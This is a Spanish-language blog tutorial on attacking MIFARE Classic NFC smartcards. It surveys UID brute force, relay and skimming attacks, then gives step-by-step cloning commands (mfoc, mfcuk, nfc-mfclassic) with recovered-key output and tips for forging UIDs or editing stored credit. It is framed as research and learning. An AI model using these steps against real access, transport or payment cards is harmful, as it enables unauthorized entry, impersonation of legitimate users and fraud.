La tecnología contactless (nfc) de las smartcard se ha extendido en los últimos años. Actualmente se usa para autorizar accesos físicos como llave para puertas ya sea en hoteles como en empresas, en transportes públicos, en gimnasios para identificarnos en los equipos de entrenamiento, tarjetas de crédito o el mismo DNI electrónico, entre otros.
Esta tecnología es muy versátil y ofrece infinidad de facilidades para su implementación, pero este no será el objeto del análisis de este post. Nos centraremos básicamente en alguna de sus implementaciones más extendidas y los posibles ataques a los que son susceptibles.
Las smartcards están disponibles en distintos medios físicos, tarjetas, adhesivos, pulseras, llaveros, etc … actualmente también es posible prescindir del medio físico y emularlas con el teléfono móvil.
Indistintamente del medio, generalizando, la parte que para las pruebas que vamos a realizar nos interesa, es entender cómo se almacenan los datos, cómo leerlos y modificarlos.
Como se muestra en la imagen el sector 0 es donde se almacena el UID (teóricamente no modificable). El resto de sectores es donde podemos almacenar datos, entre 1K y 4K.
Se puede obtener información más detallada en la wiki MIFAREde donde he obtenido la imagen anterior.
Implementaciones
Hay distintos métodos de implementación, uno de los más extendidos en el uso del UID de la tarjeta como identificador, dejando la lógica del sistema al backoffice.
Sin entrar al detalle, podemos decir que este modo puede tener algunas ventajas, ya que con el compromiso de la tarjeta no se vulnera en ningún caso la información del usuario ni de nuestros sistemas de gestión, lo que facilita el cumplimento de la GDPR.
La principal desventaja es que este tipo de tarjetas son muy fáciles de clonar, como explicaremos mas adelante. Aunque no en todos los casos el clonado de la tarjeta suponga el compromiso del sistema.
Otro método de implementación es el de usar los sectores de la tarjeta para almacenar información que pueda ser usada por nuestros sistemas. Este método es usado, por ejemplo, por sistemas de vending o de transporte público y en ellos se suele guardar el crédito o número de viajes de que dispone la tarjeta.
Material necesario
El material necesario es, un lector NFC que puede ser de dos tipos, los basados en PN532 que usan las librerías libnfc o equipos más sofisticados como proxmark, que nos permitirán bastantes más opciones. Ambos de un precio accesible si obtenemos las versiones no oficiales chinas que son funcionales para nuestro propósito, investigar y aprender.
Ataques conocidos
UID brute force: Tiene sentido en algunas ocasiones, cuando por el tipo de tarjetas empleadas el UID es consecutivo por lo que, en el momento en el que consigamos obtener uno, lo podremos modificar para cambiar de usuario.
Decodificación del número: Es habitual que la tarjeta tenga un código impreso en ella, en algunas ocasiones puede que este se haya obtenido a partir del UID, por lo que podríamos decodificarlo fácilmente. En un conocido servicio de sharing de bicicletas, por ejemplo, el uid es en número de la tarjeta en hexadecimal invertido.
Relay Attack: En este ataque se utiliza un equipo que realizará la lectura de la tarjeta de forma fraudulenta y posteriormente realizará la operación verídica, esto hace que la víctima no se percate de la copia de los datos de su tarjeta.
Skimming: Se conoce como skimming la técnica de realizar una copia de la tarjeta sin autorización. Las tarjetas actuales permiten lecturas a unos 10 cm llegando a los 25 cm con el uso de antenas y los equipos para realizar la copia son rápidos y portables, lo que facilita dicha técnica.
No es el objetivo del post realizar todos y cada uno de los ataques anteriormente detallados. En esta ocasión nos centraremos en la clonación.
Clonacion
Para trabajar con las tarjetas deberemos instalar el software nfc-mfclassic disponible en la mayoría de repositorios Linux. Tendremos que instalar también algunas de las herramientas disponibles en nfc-tools como mfoc, mfcuk y libnfc. Existen distintas versiones de cada uno de ellos que nos pueden ser de utilidad para solucionar algunos errores.
Lo primero que podemos hacer es verificar que debemos leer la tarjeta correctamente
Podemos ejecutar mfoc para realizar el volcado de la tarjeta. En el caso de que obtengamos un resultado como el siguiente es que se ha aplicado una clave a uno de los sectores.
~:$ mfoc -P 500 -O cardtocopy.dmp Found Mifare Classic 1k tag ISO/IEC 14443A (106 kbps) target: ATQA (SENS_RES): 00 04 * UID size: single * bit frame anticollision supported UID (NFCID1): 37 fa 4d 64 SAK (SEL_RES): 08 * Not compliant with ISO/IEC 14443-4 * Not compliant with ISO/IEC 18092
Fingerprinting based on MIFARE type Identification Procedure: * MIFARE Classic 1K * MIFARE Plus (4 Byte UID or 4 Byte RID) 2K, Security level 1 * SmartMX with MIFARE 1K emulation Other possible matches based on ATQA & SAK values:
Try to authenticate to all sectors with default keys... Symbols: '.' no key found, '/' A key found, '\' B key found, 'x' both keys found [Key: ffffffffffff] -> [x\xxxxxxxxxxxxxx] [Key: a0a1a2a3a4a5] -> [x\xxxxxxxxxxxxxx] [Key: d3f7d3f7d3f7] -> [x\xxxxxxxxxxxxxx] [Key: 000000000000] -> [x\xxxxxxxxxxxxxx] [Key: b0b1b2b3b4b5] -> [x\xxxxxxxxxxxxxx] [Key: 4d3a99c351dd] -> [x\xxxxxxxxxxxxxx] [Key: 1a982c7e459a] -> [x\xxxxxxxxxxxxxx] [Key: aabbccddeeff] -> [x\xxxxxxxxxxxxxx] [Key: 714c5c886e97] -> [x\xxxxxxxxxxxxxx] [Key: 587ee5f9350f] -> [x\xxxxxxxxxxxxxx] [Key: a0478cc39091] -> [x\xxxxxxxxxxxxxx] [Key: 533cb6c723f6] -> [x\xxxxxxxxxxxxxx] [Key: 8fd0a4f256e9] -> [x\xxxxxxxxxxxxxx]
Sector 00 - Found Key A: ffffffffffff Found Key B: ffffffffffff Sector 01 - Unknown Key A Found Key B: ffffffffffff Sector 02 - Found Key A: ffffffffffff Found Key B: ffffffffffff Sector 03 - Found Key A: ffffffffffff Found Key B: ffffffffffff Sector 04 - Found Key A: ffffffffffff Found Key B: ffffffffffff Sector 05 - Found Key A: ffffffffffff Found Key B: ffffffffffff Sector 06 - Found Key A: ffffffffffff Found Key B: ffffffffffff Sector 07 - Found Key A: ffffffffffff Found Key B: ffffffffffff Sector 08 - Found Key A: ffffffffffff Found Key B: ffffffffffff Sector 09 - Found Key A: ffffffffffff Found Key B: ffffffffffff Sector 10 - Found Key A: ffffffffffff Found Key B: ffffffffffff Sector 11 - Found Key A: ffffffffffff Found Key B: ffffffffffff Sector 12 - Found Key A: ffffffffffff Found Key B: ffffffffffff Sector 13 - Found Key A: ffffffffffff Found Key B: ffffffffffff Sector 14 - Found Key A: ffffffffffff Found Key B: ffffffffffff Sector 15 - Found Key A: ffffffffffff Found Key B: ffffffffffff
En este caso es posible probar de recuperar las claves con mfcuk, en mi caso la versión que mejor me ha funcionado, aunque en ocasiones arroja falsos positivos, es el fork que se puede descargar de mfcuk. Dependiendo de la tarjeta se pueden usar los flags -s 250 y -S 250 para mejorar los resultados.
Una vez obtenidas las claves las podemos usar con mfoc para crear el fichero con todos los datos de la tarjeta.
1
~:$ mfoc -P 500 -k ffffff3fdcd4 -O cardtocopy.dmp
Tendremos que realizar también un dump de la tarjeta china antes de realizar el clonado.
1
~:$ mfoc -P 500 -O blank-chinese.dmp
Y para finalizar realizamos el clonado.
1
~:$ nfc-mfclassic w b cardtocopy.dmp blank-chinese.dmp
o
1
~:$ nfc-mfclassic w a cardtocopy.dmp blank-chinese.dmp
Leyendo los datos
Uno de los métodos de leer la información del fichero obtenido es con hexdump, con la opcion -C canonical para ver la representación ASCII al lado de los valores hexadecimales.
Es posible modificar los datos con un editor hexadecimal.
Existe también una herramienta que podemos obtener de Github llamada mfdread que nos ofrece una vista muy interesante de la información del fichero obtenido.
Cuando el único valor es el UID podemos suplantar a un usuario lícito, dependiendo del tipo de tarjeta podemos intentar modificarlo y verificar si los UID son consecutivos teniendo en cuenta que hay que calcular el BBCC para que podamos grabar la nueva tarjeta. Para ello necesitaremos una tarjeta china que nos permita realizar dicha operación y obtener un UID valido, de lo que hablaremos más adelante.
Si la tarjeta usa los datos almacenados para su funcionamiento como pueda ser un sistema de vending o una tarjeta de transporte, podemos probar también modificarlos, aunque en estos casos se suele aplicar una capa de cifrado o ofuscación para proteger el dato.
Hasta aquí el post de hoy. Espero haya sido de vuestro interés. No dudéis en contactar mediante el formulario para hacerme llegar vuestros comentarios.